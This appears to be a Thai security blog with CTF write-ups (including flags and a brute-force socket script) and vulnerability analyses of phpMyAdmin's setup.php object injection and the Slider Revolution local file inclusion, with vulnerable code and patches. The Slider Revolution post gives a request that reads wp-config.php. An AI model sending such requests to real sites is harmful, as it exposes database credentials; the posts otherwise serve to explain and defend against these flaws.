\u0069\u006e\u0066\u006f\u0073\u0065\u0063\u005f\u0066\u006c\u0061\u0067\u0069\u0073\u005f\u0077\u0068\u0061\u0074\u0073\u006f\u0072\u0063\u0065\u0072\u0079\u0069\u0073\u0074\u0068\u0069\u0073
root@ubuntu:~#

Unicode decode online http://unicode.online-toolz.com/tools/text-unicode-entities-convertor.php
Flag: infosec_flagis_whatsorceryisthis

วันจันทร์ที่ 2 มีนาคม พ.ศ. 2558

sCTF 2015 Q1: 3 Guessing Game Write-up

Description:
I'm thinking of an integer between 1 and 10.
python.sctf.io:11234
My number is randomly generated each time you guess.
Solution:
root@ubuntu:~# nc python.sctf.io 11234
What is your guess?10
Nope!
root@ubuntu:~# 
          I write a simple python script to solved 3 problem (1 .. 10, 1 .. 100, 1 .. 1000)
#!/usr/bin/python
import socket, sys

while True:
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.connect(('python.sctf.io', 11234)) #just change port 
 recv = s.recv(8192)
 if "guess" in recv:
  print recv
  data = 10 #specific number and wait...
  print data
  s.send(bytes(data))
  recv = s.recv(8192)
  print recv
  if not "Nope" in recv:
   print recv
   sys.exit()
 s.close
Flag:
Simple Guessing Game : qqq12345
Not-So-Simple Guessing Game : nopeisacoolword
Cruel Guessing Game : thatwascruel

วันพฤหัสบดีที่ 12 กุมภาพันธ์ พ.ศ. 2558

In-Depth Analysis: phpMyAdmin /scripts/setup.php Remote Code Execution

       
          จบไปประมาณเกือบ 1 สัปดาห์แล้วสำหรับงาน MHCon2015 หรือ Meet the Hackers Conference 2015 เป็นงานที่มีวิทยากรที่มีความรู้ความสามารถด้าน Cybersecurity มาพูดบรรยายให้ฟังกัน ซึ่งท้ายๆงานที่วิทยากรบรรยายหัวข้อ Exploit for Fun and Profit Vulnerabilities Types and Exploit Scenarios Demo (vulnerability exploitation) โดยผมจะนำช่องโหว่ของ phpMyAdmin ที่ติดมากับ Appserv เวอร์ชั่น 2.5.10 ได้รหัส PMASA-2010-3 จนถึงวันนี้ก็ประมาณ 4-5 ปีแล้วมาอธิบายครับ
          ช่องโหว่นี้เป็นช่องโหว่ประเภท PHP Object Injection ซึ่งตามที่เข้าใจนั้น PHP Object Injection เป็นช่องโหว่ที่ เมื่อโจมตีส่งข้อมูลผ่านทาง Input ต่างๆ ไม่ว่าจะเป็น GET, POST, COOKIE, HTTP Header หรืออื่นๆ เข้ามายังฟังก์ชั่น unserialize โดยฟังก์ชั่น unserialize จะสามารถกำหนดหรือสร้าง Object ที่เป็น Instance ของ Class ที่มีอยู่ได้ ส่วนการทำงานของ Class ก็จะมีการไปเรียก Magic Method อื่นให้ทำงานอัตโนมัติ ตัวอย่าง __wakeup, __toString เป็นต้น ส่วนรายละเอียดแต่ละ Magic Method นั้นลองหาอ่านดูครับ
         กลับมาที่ช่องโหว่ของ phpMyAdmin เริ่มจากไฟล์ที่มีช่องโหว่นั้นอยู่ที่ /scripts/setup.php โดยผู้โจมตีจะส่ง POST data มาที่ไฟล์นี้
if (isset($_POST['configuration']) && $action != 'clear' ) {
    // Grab previous configuration, if it should not be cleared
    $configuration = unserialize($_POST['configuration']);
} else {
    // Start with empty configuration
    $configuration = array();
}

          มีการรับค่า $_POST['configuration'] มาใส่ฟังก์ชั่น unserialize เพื่อกำหนดค่าในตัวแปร $source ของคลาส PMA_Config ในไฟล์ /libraries/Config.class.php
class PMA_Config
{
    /**
     * @var string  default config source
     */
    var $default_source = './libraries/config.default.php';

    /**
     * @var array   configuration settings
     */
    var $settings = array();

    /**
     * @var string  config source
     */
    var $source = '';

          สังเกตุตัวแปร $source ว่างเปล่า การโจมตีจะทำการกำหนดค่าในตัวแปรนี้ คลาส PMA_Config ทำงาน และจะมีการไปเรียก __wakeup() มาใช้งานทันที
    /**
     * re-init object after loading from session file
     * checks config file for changes and relaods if neccessary
     */
    function __wakeup()
    {
        if (! $this->checkConfigSource()
          || $this->source_mtime !== filemtime($this->getSource())
          || $this->default_source_mtime !== filemtime($this->default_source)
          || $this->error_config_file
          || $this->error_config_default_file) {
            $this->settings = array();
            $this->load();
            $this->checkSystem();
        }

          ฟังก์ชั่น load() จะมี $source=null โดย default อยู่แล้ว แต่ $source ถูกกำหนดให้เป็นพาธของไฟล์ที่ต้องการอ่านค่า เพื่อใส่ลงฟังก์ชั่น eval
    /**
     * loads configuration from $source, usally the config file
     * should be called on object creation and from __wakeup if config file
     * has changed
     *
     * @param   string $source  config file
     */
    function load($source = null)
    {
        $this->loadDefaults();

        if (null !== $source) {
            $this->setSource($source);
        }

        if (! $this->checkConfigSource()) {
            return false;
        }

        $cfg = array();

        /**
         * Parses the configuration file
         */
        $old_error_reporting = error_reporting(0);
        if (function_exists('file_get_contents')) {
            $eval_result =
                eval('?>' . trim(file_get_contents($this->getSource())));
        } else {
            $eval_result =
                eval('?>' . trim(implode("\n", file($this->getSource()))));
        }
        error_reporting($old_error_reporting);

        if ($eval_result === false) {
            $this->error_config_file = true;
        } else  {
            $this->error_config_file = false;
            $this->source_mtime = filemtime($this->getSource());
        }

          ถ้ามีฟังก์ชั่น flie_get_contents จะส่งไป eval ที่บรรทัด 391 แต่ถ้าไม่มีจะส่งไปใช้ฟังก์ชั่น file ที่บรรทัด 394 โดยมีการใช้ฟังก์ชั่น eval กับ $this->getSource() ตามไปดูฟังก์ชั่น getSource จะมีการชี้ไปที่ $source เพื่อส่งค่าในตัวแปร $source กลับไปนั่นเอง
    /**
     * returns source for current config
     * @return  string  config source
     */
    function getSource()
    {
        return $this->source;
    }

          สรุปการโจมตีด้วย PHP Object Injection ใน phpMyAdmin นี้จะเป็นการกำหนดค่าใน $source ที่เป็น Object และไม่มีค่าอะไรอยู่ เมื่อไล่ตามโค้ดลงมา ค่าใน $source ก็จะไปอยู่ในฟังก์ชั่น eval ถ้าค่าในตัวแปร $source เป็นโค้ด PHP ก็สามารถรันโค้ด PHP นั้นๆ ได้
          สำหรับการแก้ไขก็เป็นการอัพเดทเป็นเวอร์ชั่นที่ใหม่กว่าอาจจะเป็นเวอร์ชั่น 4 หรือปัจจุบันครับ สำหรับแพทช์ [setup] avoid usage of (un)serialize, what might be unsafe in some cases
          นอกจากช่องโหว่นี้ยังมีช่องโหว่ PHP Object Injection จาก CMS อื่นๆซึ่งน่าสนใจเช่นกัน สุดท้ายนี้ ...


Ref: PHP Object Injection
Ref: phpMyadmin /scripts/setup.php Execute Arbitrary PHP Code Via unserialize Vul Object Injection
Ref: Shocking News in PHP Exploitation
Ref: 2600Thailand
Special Thank: sleepya, LongCat, Xelenonz

วันพุธที่ 7 มกราคม พ.ศ. 2558

In-Depth Analysis: Slider Revolution (lead to SoakSoak malware)

          

          เกริ่นก่อนว่าไม่ใช่ช่องโหว่ใหม่อะไรนะครับ ถถถ LoL ... หลังจากที่ได้อ่านข่าว Russian malware targets WordPress users, over 100,000 sites infected สรุปคร่าวๆได้ว่า มีเว็บไซต์ที่ได้รับผลกระทบจากมัลแวร์ชื่อ SoakSoak เป็นจำนวนมากถึงกวา่ 100k เว็บซึ่งมัลแวร์ดังกล่าวได้ใช้ประโยชน์จาก Slider Revolution ที่เป็น Third party ที่ติดมากับ Plugin/ Theme ของ Wordpress โดยแพคเก็จดังกล่าวมีช่องโหว่ Local File Inclusion อยู่ ก็เลยเอามาวิเคราะห์ช่องโหว่นี้เพ่ืออธิบายครับ
          ขั้นตอนแรกจะเห็นว่าการโจมตีจะเกิดจากการ GET Request ไปที่ /wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php จะเห็นว่าพารามิเตอร์ img ถูกเรียกไปที่ wp-config.php ซึ่งเป็นไฟล์ที่ใช้เก็บค่า Config ต่างๆ ใน Database บน Wordpress ครับ
          โดยที่พารามิเตอร์ img นั้นอยู่ในคลาส UniteImageViewRev ฟังก์ชั่น showImageFromGet ที่ไฟล์ /revslider/inc_php/framework/image_view.class.php ครับ
public function showImageFromGet(){
   
 $imageFilename = UniteFunctionsRev::getGetVar("img");
 $maxWidth = UniteFunctionsRev::getGetVar("w",-1);
 $maxHeight = UniteFunctionsRev::getGetVar("h",-1);
 $type = UniteFunctionsRev::getGetVar("t","");
   
 //set effect
 $effect = UniteFunctionsRev::getGetVar("e");
 $effectArgument1 = UniteFunctionsRev::getGetVar("ea1");
   
 if(!empty($effect))
  $this->setEffect($effect,$effectArgument1);
   
 $this->showImage($imageFilename,$maxWidth,$maxHeight,$type);
}

          มีการเก็บค่าที่รับมาจากพารามิเตอร์ img ใส่ไว้ในตัวแปร $imageFilename จากนั้นก็ถูกส่งเข้าไปในฟังก์ชั่น showImage ครับ
private function showImage($filename,$maxWidth=-1,$maxHeight=-1,$type=""){
   
 if(empty($filename))
  $this->throwError("image filename not found");
   
  //validate input
  if($type == self::TYPE_EXACT || $type == self::TYPE_EXACT_TOP){
   if($maxHeight == -1)
    $this->throwError("image with exact type must have height!");
   if($maxWidth == -1)
    $this->throwError("image with exact type must have width!");
  }
   
  $filepath = $this->pathImages.$filename;     
   
   
  if(!is_file($filepath)) $this->outputEmptyImageCode();
   
  //if gd library doesn't exists - output normal image without resizing.
  if(function_exists("gd_info") == false)
   $this->throwError("php must support GD Library");

  //check conditions for output original image
  if(empty($this->effect)){
   if((is_numeric($maxWidth) == false || is_numeric($maxHeight) == false)) outputImage($filepath);
   
   if($maxWidth == -1 && $maxHeight == -1) 
    $this->outputImage($filepath);
  }
   
  if($maxWidth == -1) $maxWidth = 1000000;
  if($maxHeight == -1) $maxHeight = 100000;
   
  //init variables
  $this->filename = $filename;
  $this->maxWidth = $maxWidth;
  $this->maxHeight = $maxHeight;
  $this->type = $type;
   
  $filepathNew = $this->getThumbFilepath();
   
  if(is_file($filepathNew)){
   $this->outputImage($filepathNew);
   exit();  
  }
   
  try{
   if($type == self::TYPE_EXACT || $type == self::TYPE_EXACT_TOP){
    $isSaved = $this->cropImageSaveNew($filepath,$filepathNew);
   }
   else 
    $isSaved = $this->resizeImageSaveNew($filepath,$filepathNew);
   
   if($isSaved == false){
    $this->outputImage($filepath);
    exit();
   }
    
  }catch(Exception $e){
   $this->outputImage($filepath);
  }
      
  if(is_file($filepathNew)) 
   $this->outputImage($filepathNew);
  else 
   $this->outputImage($filepath);
  
  exit();
}

          ค่าในตัวแปร $filename ถูกต่อ String กับค่าในตัวแปร $pathImages โดยค่าที่ถูกรวมกันแล้วนั้นจะไปอยู่ในตัวแปร $filepath และตัวแปร $filepath ก็ถูกส่งต่อไปให้กับฟังก์ชั่น outputImage ครับ
private function outputImage($filepath){
      
 $info = UniteFunctionsRev::getPathInfo($filepath);
 $ext = $info["extension"];    
 $filetime = filemtime($filepath);
   
 $ext = strtolower($ext);
 if($ext == "jpg")
  $ext = "jpeg";
   
 $numExpires = 31536000; //one year
 $strExpires = @date('D, d M Y H:i:s',time()+$numExpires);
 $strModified = @date('D, d M Y H:i:s',$filetime);
   
 $contents = file_get_contents($filepath);
 $filesize = strlen($contents);
 header("Last-Modified: $strModified GMT");
 header("Expires: $strExpires GMT");
 header("Cache-Control: public");
 header("Content-Type: image/$ext");
 header("Content-Length: $filesize");
   
 echo $contents;
 exit();
}

          จะเห็นว่าตัวแปร $filepath ที่ถูกส่งเข้าฟังก์ชั่น outputImage มานั้นถูกส่งเข้าไปในฟังก์ชั่น file_get_contests (อ่านไฟล์ออกมาเป็น string) ต่อและถูกเก็บค่าที่อ่านได้นั้น มาใส่ไว้ในตัวแปร $content จากนั้นก็ echo เพื่อแสดงข้อความที่ get content มาโดยไม่มีการกรอง Input ใดๆเลยครับ
          ตอนนี้แพทช์ที่แก้ไขช่องโหว่ดังกล่าวได้ออกมาแล้ว โดยเพิ่ม Whitelist extension หรือนามสกุลไฟล์ที่อนุญาตเข้าไปนั้นเองครับ
private function outputImage($filepath){
      
 $info = UniteFunctionsRev::getPathInfo($filepath);
 $ext = $info["extension"];    
 $filetime = filemtime($filepath);
   
 $ext = strtolower($ext);
 $good_extensions = array('jpg', 'png', 'gif', 'jpeg', 'tiff', 'bmp');
 
 if(empty($ext) || !in_array($ext, $good_extensions)){
  header("HTTP/1.1 403 Unauthorized" );
  die('Unauthorized');
 }
 
 if($ext == "jpg")
  $ext = "jpeg";
   
 $numExpires = 31536000; //one year
 $strExpires = @date('D, d M Y H:i:s',time()+$numExpires);
 $strModified = @date('D, d M Y H:i:s',$filetime);
   
 $contents = file_get_contents($filepath);
 $filesize = strlen($contents);
 header("Last-Modified: $strModified GMT");
 header("Expires: $strExpires GMT");
 header("Cache-Control: public");
 header("Content-Type: image/$ext");
 header("Content-Length: $filesize");
   
 echo $contents;
 exit();
}

          โดยในเงื่อนไข if หมายความว่า ถ้านามสกุลไฟล์ที่ใส่มาในพารามิเตอร์ img ไม่ได้อยู่ใน Array คือไม่ได้เป็นรูปภาพ ให้ตอบกลับไปว่า Unauthorized ครับ สำหรับใครที่ใช้ปลั๊กอินหรือธีมที่มี Slider Revolution ควรอัพเดทให้เป็นเวอร์ชั่นล่าสุดเพื่อป้องกันการถูกโจมตีด้วยนะครับ

Ref: Russian malware targets WordPress users, over 100,000 sites infected
Ref: RevSlider Vulnerability Leads To Massive WordPress SoakSoak Compromise
Ref: 2600 Thailand